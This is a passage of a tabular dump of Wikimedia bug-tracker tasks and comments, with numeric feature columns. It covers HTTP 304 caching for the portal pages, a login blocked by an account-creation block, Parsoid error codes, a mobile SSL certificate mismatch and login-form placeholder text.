header( ""Last-modified: $lastmod"" );

We could extend this further and make it respond with ""304 Not Modified"" (without body content) for requests that have the same version cached. Should save a fair amount of bandwidth. 


https://gerrit.wikimedia.org/r/gitweb?p=operations/mediawiki-config.git;a=blob;f=extract2.php;hb=HEAD

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1341422520,1412589371.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-ouzvsaqxpsemjdmeqnib,task_description,resolved,True,c2,1,True,False,False,-60,True,0.0,0.0,0.0,0.5,1.0,5.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,2.0,4.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,1.0,1.0,9.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.5,1.0,8.5,0.0,1.5,3.0,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,1.5,4.0,2.0,0.0,4.0,0.0,1.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.817307692307692,0.75,"The last modified timestamp is available and already being included:

header( 'Cache-Control: s-maxage=3600, must-revalidate, max-age=0' );
header( ""Last-modified: $lastmod"" );

We could extend this further and make it respond with ""304 Not Modified"" (without body content) for requests that have the same version cached. Should save a fair amount of bandwidth. 


URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
190562,extract2.php: Implement HTTP 304 caching for www portals,Seems http://www.wikipedia.org and similar hits are now actually yielding 304 Not Modified client-side. I suspect maybe the switch to Varnish made this happen at the abstraction layer there.,,,1412589340,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ouzvsaqxpsemjdmeqnib,task_subcomment,,True,c2,3,True,,,57,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,19.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.4375,0.9375,Seems URL and similar hits are now actually yielding 304 Not Modified client-side. I suspect maybe the switch to Varnish made this happen at the abstraction layer there.
190555,extract2.php: Implement HTTP 304 caching for www portals,"(In reply to comment #1)
> Ping cf. hackathon in Amsterdam last week.

Should it be added to the new hackathon's topics? :)",,,1365114994,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ouzvsaqxpsemjdmeqnib,task_subcomment,,True,c2,1,True,,,-21,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,9.0,0.0,4.0,0.0,4.0,13.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0869565217391304,0.9565217391304348,"(In reply to comment #1)
QUOTE

Should it be added to the new hackathon's topics? :)"
190550,extract2.php: Implement HTTP 304 caching for www portals,Ping cf. hackathon in Amsterdam last week.,,,1352725245,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ouzvsaqxpsemjdmeqnib,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8888888888888888,Ping cf. hackathon in Amsterdam last week.
39969,Block from account creation on enwiki disables login,"When trying to log in to the English Wikipedia at school, I get told that my IP is blocked from creating accounts. This is correct but it should -not- stop me from logging in.

Relevant block log: https://en.wikipedia.org/w/index.php?title=Special:Log&page=User%3A89.238.166.170&type=block

Screenshot: https://dl.dropbox.com/u/10971457/Wikimedia/Login%20blocked.jpg

I have not been able to reproduce this on my local test wiki.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1340734260,1368033658.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,,False,PHID-TASK-rb72rpzjhhjeic4weywn,task_description,invalid,True,c2,1,True,False,True,-62,True,0.0,0.0,0.0,1.0,1.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,12.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,16.0,2.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,9.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,3.775,0.6875,"When trying to log in to the English Wikipedia at school, I get told that my IP is blocked from creating accounts. This is correct but it should -not- stop me from logging in.

Relevant block log: URL

Screenshot: URL

I have not been able to reproduce this on my local test wiki.

--------------------------
**Version**: unspecified
**Severity**: minor"
180402,Block from account creation on enwiki disables login,"Oops. It has a capital 'P'. Trying to log in with the capital one works, but any other name just shows the 'account registration blocked' notice instead of an 'invalid username' one.",,,1368033658,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,True,,,-16,True,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,10.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.5952380952380953,0.7619047619047619,"Oops. It has a capital 'P'. Trying to log in with the capital one works, but any other name just shows the 'account registration blocked' notice instead of an 'invalid username' one."
180398,Block from account creation on enwiki disables login,"It was user ""Krenair (public)"", which exists on enwiki.",,,1368033376,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,13.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1333333333333333,0.9333333333333333,"It was user ""Krenair (public)"", which exists on enwiki."
180393,Block from account creation on enwiki disables login,"Does the account already exist locally on enwiki, or would CentralAuth be trying to auto-create a local account during the login? Taking a quick glance through the code, the flow in SpecialUserlogin.php for handling auto-creation looks like it could throw that error and nothing else in the login flow (in core or CentralAuth) seems likely.

If that's the case, this would be the opposite of bug 11148, and about the only thing we might do is improve the message somehow to make the situation clearer.",,,1368033222,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,2.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,6.0,1.0,4.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,2.0,14.0,4.0,1.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,1.0,0.0,0.0,4.18,0.72,"Does the account already exist locally on enwiki, or would CentralAuth be trying to auto-create a local account during the login? Taking a quick glance through the code, the flow in SpecialUserlogin.php for handling auto-creation looks like it could throw that error and nothing else in the login flow (in core or CentralAuth) seems likely.

If that's the case, this would be the opposite of bug 11148, and about the only thing we might do is improve the message somehow to make the situation clearer."
180389,Block from account creation on enwiki disables login,Ran into this again today... No one else noticed it?,,,1368029897,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,1.0,Ran into this again today... No one else noticed it?
180386,Block from account creation on enwiki disables login,(I will verify that I did indeed say the above),,,1340734384,,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.9166666666666666,(I will verify that I did indeed say the above)
180383,Block from account creation on enwiki disables login,Jasper Deng has suggested that this may be a CentralAuth issue.,,,1340734349,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rb72rpzjhhjeic4weywn,task_subcomment,,True,c2,1,True,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,25.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,1.0,Jasper Deng has suggested that this may be a CentralAuth issue.
39912,Parsoid: return http error status codes when encountering errors in the web service,"

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1340570880,1344641750.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-gzl65satajtfdglok3hp,task_description,resolved,True,c2,1,False,False,True,-62,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
177292,Parsoid: return http error status codes when encountering errors in the web service,Merged and fixed.,,,1344641750,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-gzl65satajtfdglok3hp,task_subcomment,,True,c2,1,False,,,-55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Merged and fixed.
177286,Parsoid: return http error status codes when encountering errors in the web service,Patch: https://gerrit.wikimedia.org/r/#/c/18699/,,,1344637728,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-gzl65satajtfdglok3hp,task_subcomment,,True,c2,1,False,,,-55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Patch: URL
177279,Parsoid: return http error status codes when encountering errors in the web service,Mass-moving bugs into the new 'Parsoid' product.,,,1344281163,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gzl65satajtfdglok3hp,task_subcomment,,True,c2,1,True,,,-56,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5,0.9166666666666666,Mass-moving bugs into the new 'Parsoid' product.
39650,m.wikinews.org has incorrect certificate (for *.wikipedia.org),"

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.m.wikinews.org",Medium,50.0,1339851600,1361358864.0,PHID-USER-xqqqgn2dels45flxw5kb,False,,False,PHID-TASK-cmdilzt5wgrsm2pzbj2b,task_description,resolved,True,c2,1,True,False,True,-63,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.38461538461538464,"

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
179003,m.wikinews.org has incorrect certificate (for *.wikipedia.org),"**inbox** wrote:



%%%*** This bug has been marked as a duplicate of bug 34788 ***%%%",,,1361358864,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cmdilzt5wgrsm2pzbj2b,task_subcomment,,True,c2,1,False,,,-27,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.3548387096774195,0.5161290322580645,"**inbox** wrote:



%%%*** This bug has been marked as a duplicate of bug 34788 ***%%%"
178994,m.wikinews.org has incorrect certificate (for *.wikipedia.org),"This is related to bug 31335 (""SSL cert hostname mismatch errors on wikis with multiple subdomain components"") and bug 34788 (""Non-Wikipedia mobile domains use Wikipedia's SSL certificate""). Probably a dupe of one of the two, actually.",,,1350614568,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cmdilzt5wgrsm2pzbj2b,task_subcomment,,True,c2,1,True,,,-45,True,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,14.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,10.0,14.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8,"This is related to bug 31335 (""SSL cert hostname mismatch errors on wikis with multiple subdomain components"") and bug 34788 (""Non-Wikipedia mobile domains use Wikipedia's SSL certificate""). Probably a dupe of one of the two, actually."
178986,m.wikinews.org has incorrect certificate (for *.wikipedia.org),Still valid.,,,1350614255,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cmdilzt5wgrsm2pzbj2b,task_subcomment,,True,c2,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Still valid.
51018,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"The placeholder text at <https://en.wikipedia.org/wiki/Special:UserLogin> should be removed.

""Enter your username"" and ""Enter your password"" is unnecessary and possibly insulting to the user (it can be read as condescending). Looking at other sites, it seems the practice of using both a placeholder and a label is uncommon for fields of this nature.

---

On mobile (with smartphone media query, not tablet) the placeholders take a more important role, as they are the only field indicators.
That's questionable on it's own, as the information, what field the user is currently typing in, is disappearing after the first character is typed.

Should we improve the #voice_tone of the placeholders or get rid of them?

| Desktop | Mobile (showing the issue when User is typing) | Mobile (Tablet)
| -- | -- | --
| {F4582762} | {F4582755} | {F4582758}
|  Sign Up |
| {F4537580} |  | 

--------------------------
**Version**: 1.22.0",Low,25.0,1370017620,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_description,open,True,c2,1,True,False,,-13,True,0.0,0.0,0.0,1.0,0.3333333333333333,2.6666666666666665,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,4.666666666666667,6.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,0.3333333333333333,1.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,13.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,4.666666666666667,3.0,8.666666666666666,0.3333333333333333,1.6666666666666667,5.333333333333333,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.0,2.6666666666666665,6.0,5.0,0.3333333333333333,1.3333333333333333,0.0,2.6666666666666665,0.0,0.6666666666666666,1.0,0.3333333333333333,3.0,0.3333333333333333,0.0,0.3333333333333333,3.6617647058823533,0.6617647058823529,"The placeholder text at <URL should be removed.

""Enter your username"" and ""Enter your password"" is unnecessary and possibly insulting to the user (it can be read as condescending). Looking at other sites, it seems the practice of using both a placeholder and a label is uncommon for fields of this nature.

---

On mobile (with smartphone media query, not tablet) the placeholders take a more important role, as they are the only field indicators.
That's questionable on it's own, as the information, what field the user is currently typing in, is disappearing after the first character is typed.

Should we improve the #voice_tone of the placeholders or get rid of them?

| Desktop | Mobile (showing the issue when User is typing) | Mobile (Tablet)
| -- | -- | --
| {F4582762} | {F4582755} | {F4582758}
|  Sign Up |
| {F4537580} |  | 

--------------------------
**Version**: 1.22.0"
2321210,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by Krinkle using patch(es) linked to this task was **deleted**:

~~[[ https://patchdemo.wmflabs.org/wikis/d40ca84da9/w/ ]]~~",,,1713878496,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,555,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.638888888888889,0.6944444444444444,"Test wiki on [[ URL | Patch demo ]]  by Krinkle using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
2177675,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Change 933621 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Login page: Show input labels on mobile devices%%%
https://gerrit.wikimedia.org/r/933621",,,1692384664,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah7jdxmoh7ort2lyc33r,task_subcomment,,True,c2,3,False,,,520,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.65625,0.78125,"Change 933621 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Login page: Show input labels on mobile devices%%%
GERRIT_URL"
2175921,Remove placeholder text or labels from login form (Special:UserLogin) inputs,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by Krinkle using patch(es) linked to this task:
